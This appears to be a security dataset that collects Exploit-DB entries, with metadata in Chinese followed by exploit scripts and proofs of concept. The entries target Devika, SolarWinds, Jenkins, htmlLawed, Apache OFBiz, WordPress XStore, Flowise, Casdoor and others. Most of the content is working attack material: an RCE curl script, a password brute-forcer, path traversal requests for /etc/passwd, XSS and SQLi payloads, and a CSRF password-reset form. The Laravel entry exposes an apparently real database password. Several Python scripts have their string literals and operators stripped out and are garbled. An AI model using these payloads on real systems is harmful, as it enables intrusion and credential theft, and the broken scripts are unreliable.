QLWD/code_shield huggingface dataset:
标题: Devika v1 - Path Traversal via 'snapshot_path' EDB-ID: 52066 CVE: 2024-40422 类型: WEBAPPS 平台: PYTHON 发布日期: 2024-08-04 漏洞利用脚本: # Exploit Title: Devika v1 - Path Traversal via 'snapshot_path' Parameter
# Google Dork: N/A
# Date: 2024-06-29
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/X)
# Vendor Homepage: https://devikaai.co/
# Software Link: https://github.com/stitionai/devika
# Version: v1
# Tested on: Windows 11 Home Edition
# CVE: CVE-2024-40422

#!/usr/bin/python

import argparse
import requests

 target_url
    url  f
    params  
         
    

    response  requestsgeturl paramsparams
    responsetext

 __name__  
    parser  argparseArgumentParserdescription
    parseradd_argument   required
    args  parserparse_args

    exploitargstarget URL: https://www.exploit-db.com/exploits/52066
标题: SolarWinds Platform 2024.1 SR1 - Race Condition EDB-ID: 52055 CVE: 2024-28999 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2024-06-26 漏洞利用脚本: # Exploit Title: SolarWinds Platform 2024.1 SR1 - Race Condition
# CVE: CVE-2024-28999
# Affected Versions: SolarWinds Platform 2024.1 SR 1 and previous versions
# Author: Elhussain Fathy, AKA 0xSphinx

import requests
import urllib3
import asyncio
import aiohttp
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED')

# host = '192.168.1.1'
# username = "admin"
# file_path = "passwords.txt"

host  
username  
file_path  
exploited  

url  f

passwords  
 file_path   
     line  
        word  linestrip
        passwordsappendword
f


headers  
     host


sessions  

 _  passwords
    response  requestsgeturl headersheaders verify stream
    cookies  responseheadersget 
    session_id  cookiessplitsplit
    sessionsappendsession_id




  session username password
    headers  
         host  
         
         
         f
    

    data  f

      aiohttpClientSession  session
          sessionposturl headersheaders datadata ssl allow_redirects  response
             responsestatus  
                 exploited
                exploited  
                f


  
    tasks  
     i  passwords
        session  sessionsi
        password  passwordsi
        task  asynciocreate_tasksend_requestsession username password
        tasksappendtask
     asynciogathertasks

asynciorunmain

 exploited URL: https://www.exploit-db.com/exploits/52055
标题: Sitefinity 15.0 - Cross-Site Scripting (XSS) EDB-ID: 52035 CVE: 2023-27636 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2024-06-03 漏洞利用脚本: # Exploit Title: Sitefinity 15.0 - Cross-Site Scripting (XSS)
# Date: 2023-12-05
# Exploit Author: Aldi Saputra Wahyudi
# Vendor Homepage: https://www.progress.com/sitefinity-cms
# Version: < 15.0.0
# Tested on: Windows/Linux
# CVE : CVE-2023-27636

# Description: In the backend of the Sitefinity CMS, a Cross-site scripting vulnerability has been discovered in all features that use SF-Editor

# Steps To Reproduce:

Attacker as lower privilege
Victim as Higher privilege

1. Login as an Attacker
2. Go to the function using the SF Editor, go to the news page as example
3. Create or Edit news item
4. On the content form, insert the XSS payload as HTML
5. After the payload is inserted, click on the content form (just click) and publish or save
6. If the victim visits the page with XSS payload, XSS will be triggered

Payload: <noalert><iframe src="javascript:alert(document.domain);"> URL: https://www.exploit-db.com/exploits/52035
标题: htmlLawed 1.2.5 - Remote Code Execution (RCE) EDB-ID: 52023 CVE: 2022-35914 类型: WEBAPPS 平台: PHP 发布日期: 2024-05-19 漏洞利用脚本: # Exploit Title: htmlLawed 1.2.5 - Remote Code Execution (RCE)
# Date: 2024-04-24
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
# Software Link: https://github.com/kesar/HTMLawed
# Version: <= 1.2.5
# Tested on: Linux
# CVE: CVE-2022-35914

banner(){
  echo "  ______     _______     ____   ___ ____  ____      _________  ___  _ _  _"
  echo " / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |"
  echo "| |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_"
  echo "| |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__   _|"
  echo " \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/____/  /_/|_|  |_|"
}

while getopts ":u:c:" arg; do
  case $arg in
    u) URL=$OPTARG; let parameter_counter+=1 ;;
    c) CMD=$OPTARG; let parameter_counter+=1 ;;
  esac
done


if [ -z "$URL" ] || [ -z "$CMD" ]; then
  banner
  echo -e "\n[i] Usage: ${0} -u <URL> -c <CMD>\n"
  exit
else
  banner
  echo -e "\n[+] Command output:"
fi

curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\&nbsp; \[[0-9]+\] =\>'| sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/' URL: https://www.exploit-db.com/exploits/52023
标题: Apache OFBiz 18.12.12 - Directory Traversal EDB-ID: 52020 CVE: 2024-32113 类型: WEBAPPS 平台: JAVA 发布日期: 2024-05-19 漏洞利用脚本: # Exploit Title: Apache OFBiz 18.12.12 - Directory Traversal
# Google Dork: N/A
# Date: 2024-05-16
# Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly)
# Vendor Homepage: https://ofbiz.apache.org/
## Software Link: https://ofbiz.apache.org/download.html
# Version: below <=18.12.12
# Tested on: Windows10


Poc.
1-
POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>example.createBlogPost</methodName>
  <params>
    <param>
      <value><string>../../../../../../etc/passwd</string></value>
    </param>
  </params>
</methodCall>

OR

2-
POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>performCommand</methodName>
  <params>
    <param>

<value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:\</string></value>
    </param>
  </params>
</methodCall> URL: https://www.exploit-db.com/exploits/52020
标题: Wordpress Theme XStore 9.3.8 - SQLi EDB-ID: 52019 CVE: 2024-33559 类型: WEBAPPS 平台: PHP 发布日期: 2024-05-19 漏洞利用脚本: # Exploit Title: Wordpress Theme XStore 9.3.8 - SQLi
# Google Dork: N/A
# Date: 2024-05-16
# Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly)
# Version: 5.3.5
# Tested on: Windows10
# CVE: CVE-2024-33559


Poc
<https://github.com/absholi7ly/WordPress-XStore-theme-SQL-Injection#poc>

POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/52019
标题: Rocket LMS 1.9 - Persistent Cross Site Scripting (XSS) EDB-ID: 52018 CVE: 2024-34241 类型: WEBAPPS 平台: PHP 发布日期: 2024-05-19 漏洞利用脚本: # Title: Rocket LMS 1.9 - Persistent Cross Site Scripting (XSS)
# Date: 04/16/2024
# Exploit Author: Sergio Medeiros
# Vendor Homepage: https://codecanyon.net/item/rocket-lms-learning-management-academy-script/33120735
# Software Link: https://lms.rocket-soft.org
# Version: 1.9
# Tested on Firefox and Chrome Browsers
# Patched Version: Patch Pending
# Category: Web Application
# CVE: CVE-2024-34241
# Exploit link: https://grumpz.net/cve-2024-34241-a-step-by-step-discovery-guide
# PoC:

In order to exploit this systemic stored XSS vulnerability, identify theareas in the web application which has a WYSIWIG editor used, for example, the create/edit course description section. 
Input random text in the description section, and create the course while intercepting the request with BurpSuite or your preferred proxy of choice.

In the *description* parameter or the associated parameter that is handling the user input related to the WYSIWIG editor, input the following payload and then issue the request:
<details/open/ontoggle=prompt(origin)> URL: https://www.exploit-db.com/exploits/52018
标题: Flowise 1.6.5 - Authentication Bypass EDB-ID: 52001 CVE: 2024-31621 类型: WEBAPPS 平台: TYPESCRIPT 发布日期: 2024-04-21 漏洞利用脚本: # Exploit Title: Flowise 1.6.5 - Authentication Bypass
# Date: 17-April-2024
# Exploit Author: Maerifat Majeed
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise/releases
# Version: 1.6.5
# Tested on: mac-os
# CVE : CVE-2024-31621

The flowise version <= 1.6.5 is vulnerable to authentication bypass
vulnerability.
The code snippet

this.app.use((req, res, next) => {
>                 if (req.url.includes('/api/v1/')) {
>                     whitelistURLs.some((url) => req.url.includes(url)) ?
> next() : basicAuthMiddleware(req, res, next)
>                 } else next()
>             })


puts authentication middleware for all the endpoints with path /api/v1
except a few whitelisted endpoints. But the code does check for the case
sensitivity hence only checks for lowercase /api/v1 . Anyone modifying the
endpoints to uppercase like /API/V1 can bypass the authentication.

*POC:*
curl http://localhost:3000/Api/v1/credentials
For seamless authentication bypass. Use burpsuite feature Match and replace
rules in proxy settings. Add rule Request first line api/v1 ==> API/V1 URL: https://www.exploit-db.com/exploits/52001
标题: Laravel Framework 11 - Credential Leakage EDB-ID: 52000 CVE: 2024-29291 类型: WEBAPPS 平台: PHP 发布日期: 2024-04-21 漏洞利用脚本: # Exploit Title: Laravel Framework 11 - Credential Leakage
# Google Dork: N/A
# Date: [2024-04-19]
# Exploit Author: Huseein Amer
# Vendor Homepage: [https://laravel.com/]
# Software Link: N/A
# Version: 8.* - 11.* (REQUIRED)
# Tested on: [N/A]
# CVE : CVE-2024-29291

Proof of concept:
Go to any Laravel-based website and navigate to storage/logs/laravel.log.

Open the file and search for "PDO->__construct('mysql:host=".
The result:
shell
Copy code
#0
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(70):
PDO->__construct('mysql:host=sql1...', 'u429384055_jscv', 'Jaly$$a0p0p0p0',
Array)
#1
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(46):
Illuminate\Database\Connectors\Connector->createPdoConnection('mysql:host=sql1...',
'u429384055_jscv', 'Jaly$$a0p0p0p0', Array)
Credentials:
Username: u429384055_jscv
Password: Jaly$$a0p0p0p0
Host: sql1... URL: https://www.exploit-db.com/exploits/52000
标题: OpenClinic GA 5.247.01 - Path Traversal (Authenticated) EDB-ID: 51995 CVE: 2023-40279 类型: WEBAPPS 平台: PHP 发布日期: 2024-04-15 漏洞利用脚本: # Exploit Title: OpenClinic GA 5.247.01 - Path Traversal (Authenticated)
# Date: 2023-08-14
# Exploit Author: V. B.
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/
# Version: OpenClinic GA 5.247.01
# Tested on: Windows 10, Windows 11
# CVE: CVE-2023-40279

# Details
An issue was discovered in OpenClinic GA version 5.247.01, where an attacker can perform a directory path traversal via the 'Page' parameter in a GET request to 'main.do'. This vulnerability allows for the retrieval and execution of files from arbitrary directories.

# Proof of Concept (POC)
Steps to Reproduce:

- Crafting the Malicious GET Request:

- Utilize a web browser or a tool capable of sending custom HTTP requests, such as curl or Burp Suite.
- Format the GET request as follows (in this example, `../../main.jsp` is used to attempt directory traversal to access `main.jsp`):

GET /openclinic/main.do?Page=../../main.jsp HTTP/1.1
Host: 192.168.100.5:10088
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Connection: close
Cookie: JSESSIONID=[SESSION ID]
Cache-Control: max-age=0

2. Confirming the Vulnerability:
- Send the crafted GET request to the target server.
- If the server responds with the content of the requested file (e.g., `main.jsp`) from outside the intended directory, it confirms the presence of a directory path traversal vulnerability.
- This vulnerability can lead to sensitive information disclosure or more severe attacks. URL: https://www.exploit-db.com/exploits/51995
标题: djangorestframework-simplejwt 5.3.1 - Information Disclosure EDB-ID: 51992 CVE: 2024-22513 类型: WEBAPPS 平台: PYTHON 发布日期: 2024-04-15 漏洞利用脚本: # Exploit Title: djangorestframework-simplejwt 5.3.1 - Information Disclosure
# Date: 26/01/2024
# Exploit Author: Dhrumil Mistry (dmdhrumilmistry)
# Vendor Homepage: https://github.com/jazzband/djangorestframework-simplejwt/
# Software Link:https://github.com/jazzband/djangorestframework-simplejwt/releases/tag/v5.3.1
# Version: <= 5.3.1
# Tested on: MacOS
# CVE : CVE-2024-22513

# The version of djangorestframework-simplejwt up to 5.3.1 is vulnerable.
# This vulnerability has the potential to cause various security issues,
# including Business Object Level Authorization (BOLA), Business Function
# Level Authorization (BFLA), Information Disclosure, etc. The vulnerability





`AccessToken`

be used 







 djangocontribauthmodels  User
 rest_framework_simplejwttokens  AccessToken


inactive_user_id  Userobjectscreate_user
  is_active


AccessTokenfor_userUserobjectsgetinactive_user_id  
should be raised since user  inactive


AccessTokenfor_userUserobjectsgetinactive_user_idverify 
no exception  raised during verification of inactive user token URL: https://www.exploit-db.com/exploits/51992
标题: Jenkins 2.441 - Local File Inclusion EDB-ID: 51993 CVE: 2024-23897 类型: WEBAPPS 平台: JAVA 发布日期: 2024-04-15 漏洞利用脚本: # Exploit Title: Jenkins 2.441 - Local File Inclusion
# Date: 14/04/2024
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.jenkins.io/
# Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip
# Version: 2.441
# Tested on: Debian 12 (Bookworm)
# CVE: CVE-2024-23897

from argparse import ArgumentParser
from requests import Session, post, exceptions
from threading import Thread
from uuid import uuid4
from time import sleep
from re import findall

 Thread
   self url  identifier 
    Thread__init__self
    selfdaemon  
    selfurl  url
    selfparams   
    selfidentifier  identifier
    selfstop_thread  
    selflisten  

   self
      selfstop_thread
       selflisten
        selflisten_and_print

   self
    selfstop_thread  

   self
    selflisten  

   self
     selflisten
      sleep

   self output 
       output
      
       output
      

    expression  
    results  findallexpression output
    joinresults

   self
    session  Session
    headers     selfidentifier
    
      response  sessionpostselfurl paramsselfparams headersheaders
     exceptionsConnectTimeout exceptionsConnectionError
      
      exit

    selfprint_formatted_outputresponsetext
    selflisten  

   self filepath 
    headers     selfidentifier
    payload  get_payloadfilepath
    
      postselfurl datapayload paramsselfparams headersheaders timeout
     exceptionsConnectTimeout exceptionsConnectionError
      
      exit

   self filepath 
    selfreceive_next_message
    sleep
    selfsend_file_requestfilepath
    selfwait_for_message

 operation_index  text   
  text_bytes  text 
  text_size  text_bytes
  text_message  text_sizeto_bytes  text_bytes
  message_size  text_message

  payload  message_sizeto_bytes  operation_indexto_bytes  text_message
   payload

 filepath   
  arg_operation  
  start_operation  

  command  get_payload_messagearg_operation 
  poisoned_argument  get_payload_messagearg_operation f

  payload  command  poisoned_argument  start_operationto_bytes
   payload

 exploit Exploit
  
   
    filepath  
    filepath  make_path_absolutefilepath
    exploitreceive_next_message

    
      exploitread_filefilepath
     exceptionsReadTimeout
      

 filepath   
      filepathstartswith
       f
     filepath

 url   
   urlendswith
    url  url
   f

 
  parser  ArgumentParserdescription
  parseradd_argument  required 
  parseradd_argument  
   parserparse_args

 
  args  get_arguments
  url  format_target_urlargsurl
  filepath  argspath
  identifier  uuid4

  exploit  Exploiturl identifier
  exploitstart

   filepath
    filepath  make_path_absolutefilepath
    exploitread_filefilepath
    exploitstop
    

  
    start_interactive_file_readexploit
   KeyboardInterrupt
    
  
  exploitstop

 __name__  
  main URL: https://www.exploit-db.com/exploits/51993
标题: OpenClinic GA 5.247.01 - Information Disclosure EDB-ID: 51994 CVE: 2023-40278 类型: WEBAPPS 平台: PHP 发布日期: 2024-04-15 漏洞利用脚本: # Exploit Title: OpenClinic GA 5.247.01 - Information Disclosure
# Date: 2023-08-14
# Exploit Author: VB
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/
# Version: OpenClinic GA 5.247.01
# Tested on: Windows 10, Windows 11
# CVE: CVE-2023-40278

# Details
An Information Disclosure vulnerability was discovered in the printAppointmentPdf.jsp component of OpenClinic GA 5.247.01. The issue arises due to improper handling of error messages in response to manipulated input, allowing an attacker to deduce the existence of specific appointments.

# Proof of Concept (POC)
Steps to Reproduce:

- Access the Vulnerable Component:

- Navigate to the URL: http://[IP]:10088/openclinic/planning/printAppointmentPdf.jsp?AppointmentUid=1.1.
- Manipulating the AppointmentUid Parameter:

- Change the `AppointmentUid` parameter value to test different IDs.

- For example, try different numerical values or formats.
- Observing the Responses:

- Note the system's response when accessing with different `AppointmentUid` values.
- A "document is not open" error indicates the existence of an appointment with the specified ID.
- A different error message or response indicates non-existence.
- Confirming the Vulnerability:

- The differing error messages based on the existence of an appointment confirm the Information Disclosure vulnerability.
- This allows an unauthorized user to deduce whether specific appointments exist without direct access to appointment data. As a result, an attacker could deduce the number of appointments performed by private clinics, surgeries and private doctors. URL: https://www.exploit-db.com/exploits/51994
标题: Terratec dmx_6fire USB - Unquoted Service Path EDB-ID: 51977 CVE: 2024-31804 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2024-04-12 漏洞利用脚本: # Exploit Title:  Terratec dmx_6fire USB - Unquoted Service Path
# Google Dork: null
# Date: 4/10/2024
# Exploit Author: Joseph Kwabena Fiagbor
# Vendor Homepage: https://dmx-6fire-24-96-controlpanel.software.informer.com/download/
# Software Link:
# Version: v.1.23.0.02
# Tested on: windows 7-11
# CVE : CVE-2024-31804

1. Description:

The Terratec dmx_6fire usb installs as a service with an unquoted service
path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

> C:\Users\Astra>sc qc "ttdmx6firesvc"
> {SC] QueryServiceConfig SUCCESS
>
> SERVICE_NAME: ttdmx6firesvc
>         TYPE               : 10  WIN32_OWN_PROCESS
>         START_TYPE         : 2   AUTO_START
>         ERROR_CONTROL      : 1   NORMAL
>         BINARY_PATH_NAME   : C:\Program Files\TerraTec\DMX6FireUSB\ttdmx6firesvc.exe -service
>         LOAD_ORDER_GROUP   : PlugPlay
>         TAG                : 0
>         DISPLAY_NAME       : DMX6Fire Control
>         DEPENDENCIES       : eventlog
>                            : PlugPlay
>         SERVICE_START_NAME : LocalSystem
>
> URL: https://www.exploit-db.com/exploits/51977
标题: Axigen < 10.5.7 - Persistent Cross-Site Scripting EDB-ID: 51963 CVE: 2023-48974 类型: WEBAPPS 平台: PHP 发布日期: 2024-04-02 漏洞利用脚本: # Exploit Title: Axigen < 10.5.7 - Persistent Cross-Site Scripting
# Date: 2023-09-25
# Exploit Author: Vinnie McRae - RedTeamer IT Security
# Vendor Homepage: https://www.axigen.com/
# Software Link: https://www.axigen.com/mail-server/download/
# Version: (10.5.7) and older version of Axigen WebMail
# Tested on: firefox, chrome
# CVE: CVE-2023-48974

Description

The `serverName_input` parameter is vulnerable to stored cross-site
scripting (XSS) due to unsanitized or unfiltered processing. This means
that an attacker can inject malicious code into this parameter, which will
then be executed by other users when they view the page where the parameter
is used. This is affecting authenticated administrators, and the attack can
be used to attack other administrators with more permissions.

Exploitation

1. Login as administrator
2. Navigate to "global settings"
3. Change server name to <script>alert(1)</script>

PoC of the POST request:

```
POST /?_h=1bb40e85937506a7186a125bd8c5d7ef&page=gl_set HTTP/1.1
Host: localhost:9443
Cookie: eula=true;
WMSessionObject=%7B%22accountFilter%22%3A%22%22%2C%22currentDomainName%22%3A%22axigen%22%2C%22currentPrincipal%22%3A%22nada%22%2C%22domainFilter%22%3A%22%22%2C%22folderRecipientFilter%22%3A%22%22%2C%22groupFilter%22%3A%22%22%2C%22helpContainer%22%3A%22opened%22%2C%22leftMenu%22%3A%5B%22rights%22%2C%22services%22%2C%22clustering%22%2C%22domains%22%2C%22logging%22%2C%22backup%22%2C%22security%22%5D%2C%22mlistFilter%22%3A%22%22%2C%22premiumFilter%22%3A%22%22%2C%22sslCertificateFilter%22%3A%22%22%7D;
webadminIsModified=false; webadminIsUpdated=true; webadminIsSaved=true;
public_language=en; _hadmin=6a8ed241fe53d1b28f090146e4c65f52;
menuLeftTopPosition=-754
Content-Type: multipart/form-data;
boundary=---------------------------41639384187581032291088896642
Content-Length: 12401
Connection: close

-----------------------------41639384187581032291088896642
Content-Disposition: form-data; name="serverName_input"

<script>alert(1)</script>
-----------------------------41639384187581032291088896642
Content-Disposition: form-data; name="primary_domain_input"

axigen
-----------------------------41639384187581032291088896642
Content-Disposition: form-data; name="ssl_random_file_input"

--SNIP--

-----------------------------41639384187581032291088896642
Content-Disposition: form-data; name="update"

Save Configuration
-----------------------------41639384187581032291088896642--
```



#______________________________
#Vinnie McRae
#RedTeamer IT Security
#Blog: redteamer.de/blog-beitrag/ URL: https://www.exploit-db.com/exploits/51963
标题: Casdoor < v1.331.0 - '/api/set-password' CSRF EDB-ID: 51961 CVE: 2023-34927 类型: WEBAPPS 平台: GO 发布日期: 2024-04-02 漏洞利用脚本: # Exploit Title: Casdoor < v1.331.0 - '/api/set-password' CSRF
# Application: Casdoor
# Version: <= 1.331.0
# Date: 03/07/2024
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Tested on: Windows
# CVE : CVE-2023-34927

Overview
==================================================
Casdoor v1.331.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
newPassword: hacked URL: https://www.exploit-db.com/exploits/51961